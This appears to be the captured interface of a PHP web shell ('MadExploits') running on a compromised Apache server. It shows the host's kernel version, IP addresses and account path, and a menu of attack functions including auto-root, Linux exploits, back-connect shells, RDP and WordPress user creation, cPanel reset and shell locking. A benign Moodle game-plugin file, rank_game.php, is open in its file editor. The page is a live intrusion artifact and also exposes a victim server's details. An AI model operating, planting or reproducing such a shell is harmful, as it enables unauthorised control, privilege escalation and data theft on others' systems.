Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.196
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
blocks /
game /
[ HOME SHELL ]
Name
Size
Permission
Action
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
.travis.yml
2.65
KB
-rw-r--r--
CHANGES.md
2.24
KB
-rw-r--r--
LICENSE
34.33
KB
-rw-r--r--
README.md
2.98
KB
-rw-r--r--
block_game.php
3.27
KB
-rw-r--r--
download.php
2.21
KB
-rw-r--r--
edit_form.php
9.87
KB
-rw-r--r--
game.php
5.14
KB
-rw-r--r--
help_game.php
8.76
KB
-rw-r--r--
lib.php
44.56
KB
-rw-r--r--
perfil_gamer.php
2.01
KB
-rw-r--r--
rank_game.php
8.85
KB
-rw-r--r--
rank_group_game.php
3.69
KB
-rw-r--r--
reset_points_course.php
3.32
KB
-rw-r--r--
set_avatar_form.php
12.53
KB
-rw-r--r--
settings.php
4.22
KB
-rw-r--r--
version.php
1.08
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rank_game.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Game block config form definition * * @package block_game * @copyright 2019 Jose Wilson * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once(dirname(__FILE__) . '/../../config.php'); require_once($CFG->dirroot . '/blocks/game/lib.php'); require_once($CFG->libdir . '/grouplib.php'); require_once($CFG->libdir . '/filelib.php' ); require_login(); global $USER, $COURSE, $OUTPUT, $CFG; $courseid = required_param('id', PARAM_INT); $groupid = optional_param('group', 0, PARAM_INT); $course = $DB->get_record('course', array('id' => $courseid), '*', MUST_EXIST); require_login($course); $context = context_course::instance($courseid); $PAGE->set_pagelayout('course'); $PAGE->set_url('/blocks/game/rank_game.php', array('id' => $courseid)); $PAGE->set_context(context_course::instance($courseid)); $PAGE->set_title(get_string('rank_game_title', 'block_game')); $PAGE->set_heading(get_string('rank_game_title', 'block_game')); echo $OUTPUT->header(); $cfggame = get_config('block_game'); /* Now verify grading user has access to all groups or is member of the same group when separate groups used in course */ $ok = false; if ($course->groupmode == 1 && ! has_capability('moodle/course:viewhiddenactivities', $context)) { if (groups_is_member($groupid, $USER->id)) { $ok = true; } } else { $ok = true; } if (has_capability('moodle/course:update', $context, $USER->id)) { echo $OUTPUT->download_dataformat_selector(get_string('downloadthis', 'block_game'), 'download.php', 'dataformat', ['id' => $courseid, 'op' => 'ranking']); } $game = new stdClass(); if ($ok) { if ($courseid == SITEID) { $game->config = $cfggame; } else { $game->config = block_game_get_config_block($courseid); } $limit = 0; if (isset($game->config->show_rank) && $game->config->show_rank == 1) { $outputhtml = '<div class="rank">'; if ($courseid != SITEID) { $limit = $game->config->limit_rank; $txtlimit = ""; if ($limit > 0) { $txtlimit = "<strong>Top " . $limit . "</strong>"; } $txtlimit .= groups_print_course_menu($course, '/blocks/game/rank_game.php?id=' . $courseid); $outputhtml .= '<h3>( ' . $course->fullname . ' ) ' . $txtlimit . '</h3><br/>'; } else { $outputhtml .= '<h3>( ' . get_string('general', 'block_game') . ' )</h3><br/>'; } $outputhtml .= '<table class="generaltable" width="100%">'; // View details. $context = context_course::instance($COURSE->id, MUST_EXIST); $header = ''; $showreader = false; if (has_capability('moodle/course:update', $context, $USER->id)) { $header .= '<tr class="">'; $header .= '<td width="9%" align="center" class="cell c0 " style=""><strong>' . get_string('order', 'block_game') . '</strong></td>'; $header .= '<td width="42%" class="cell c1 " style=""><strong>' . get_string('name', 'block_game') . '</strong></td>'; $header .= '<td width="15%" align="center" class="cell c2 " style=""><strong>' . get_string('score_atv', 'block_game') . '</strong></td>'; $header .= '<td width="15%" align="center" class="cell c3 " style=""><strong>' . get_string('score_mod', 'block_game') . '</strong></td>'; $header .= '<td width="10%" align="center" class="cell c4 " style=""><strong>' . get_string('score_section', 'block_game') . '</strong></td>'; $header .= '<td width="15%" align="center" class="cell c5 " style=""><strong>' . get_string('score_bonus_day', 'block_game') . '</strong></td>'; $header .= '<td width="9%" align="center" class="cell c6 " style=""><strong>' . get_string('label_badge', 'block_game') . '</strong></td>'; $header .= '<td width="9%" align="center" class="cell c7 lastcol" style=""><strong>' . get_string('score_total', 'block_game') . '</strong></td>'; $header .= '</tr>'; $showreader = true; } else { $header .= '<tr class="">'; $header .= '<td width="10%" align="center" class="cell c0 " style=""><strong>' . get_string('order', 'block_game') . '</strong></td>'; $header .= '<td width="80%" class="cell c1 " style=""><strong>' . get_string('name', 'block_game') . '</strong></td>'; $header .= '<td width="10%" align="center" class="cell c2 lastcol" style=""><strong>' . get_string('score_total', 'block_game') . '</strong></td>'; $header .= '</tr>'; } $outputhtml .= $header; $rs = block_game_rank_list($courseid, $groupid); $ord = 1; foreach ($rs as $gamer) { $avatartxt = ''; if ($cfggame->use_avatar == 1) { $avatartxt .= '<img align="center" height="40" width="40" src="'; $avatar = block_game_get_avatar_user($gamer->userid); $fs = get_file_storage(); if ($fs->file_exists(1, 'block_game', 'imagens_avatar', 0, '/', 'a' . $avatar . '.svg')) { $img = block_game_pix_url(1, 'imagens_avatar', 'a' . $avatar); } else { $img = $CFG->wwwroot . '/blocks/game/pix/a' . $avatar . '.svg'; } $avatartxt .= $img . '" title="avatar"/>'; } $ordtxt = $ord . 'º'; $usertxt = $avatartxt . ' ******** '; if ($game->config->show_identity == 0) { $usertxt = $avatartxt . ' ' . $gamer->firstname . ' ' . $gamer->lastname; } $scoretxt = $gamer->pt . get_string('abbreviate_score', 'block_game'); if ($gamer->userid == $USER->id) { $usertxt = $avatartxt . ' <strong>' . $gamer->firstname . ' ' . $gamer->lastname . '</trong>'; $scoretxt = '<strong>' . $gamer->pt . get_string('abbreviate_score', 'block_game') . '</trong>'; $ordtxt = '<strong>' . $ord . 'º</trong>'; } $outputhtml .= '<tr class="">'; $outputhtml .= '<td align="center" class="cell c0" style="">' . $ordtxt . '</td>'; $outputhtml .= '<td class="cell c2" style=""> ' . $usertxt . ' </td>'; $colltd = 'c3 lastcol'; if ($showreader) { $outputhtml .= '<td align="center" class="cell c3 small" style="">' . $gamer->sum_score_activities . '</td>'; $outputhtml .= '<td align="center" class="cell c4 small" style="">' . $gamer->sum_score_module_completed . '</td>'; $outputhtml .= '<td align="center" class="cell c5 small" style="">' . $gamer->sum_score_section . '</td>'; $outputhtml .= '<td align="center" class="cell c6 small" style="">' . $gamer->sum_score_bonus_day . '</td>'; $outputhtml .= '<td align="center" class="cell c6 small" style="">' . $gamer->sum_score_badges . '</td>'; $colltd = 'c7 lastcol'; } $outputhtml .= '<td align="center" class="cell ' . $colltd . ' small" style="">' . $scoretxt . '</td>'; $outputhtml .= '</tr>'; if ($limit > 0 && $limit == $ord) { break; } $ord++; } $outputhtml .= '</table>'; $usernotstart = block_game_get_no_players($courseid, $groupid); if ($usernotstart > 0) { if ($usernotstart == 1) { $outputhtml .= '<br/>(' . $usernotstart . ' ' . get_string('not_start_game', 'block_game') . ' )'; } else { $outputhtml .= '<br/>(' . $usernotstart . ' ' . get_string('not_start_game_s', 'block_game') . ' )'; } } $outputhtml .= '</div>'; } else { $outputhtml = "... <br/><br/>"; $context = context_course::instance($courseid, MUST_EXIST); if (has_capability('moodle/course:update', $context, $USER->id)) { $outputhtml .= get_string('not_initial_config_game', 'block_game'); } } } echo $outputhtml; echo $OUTPUT->footer();
Close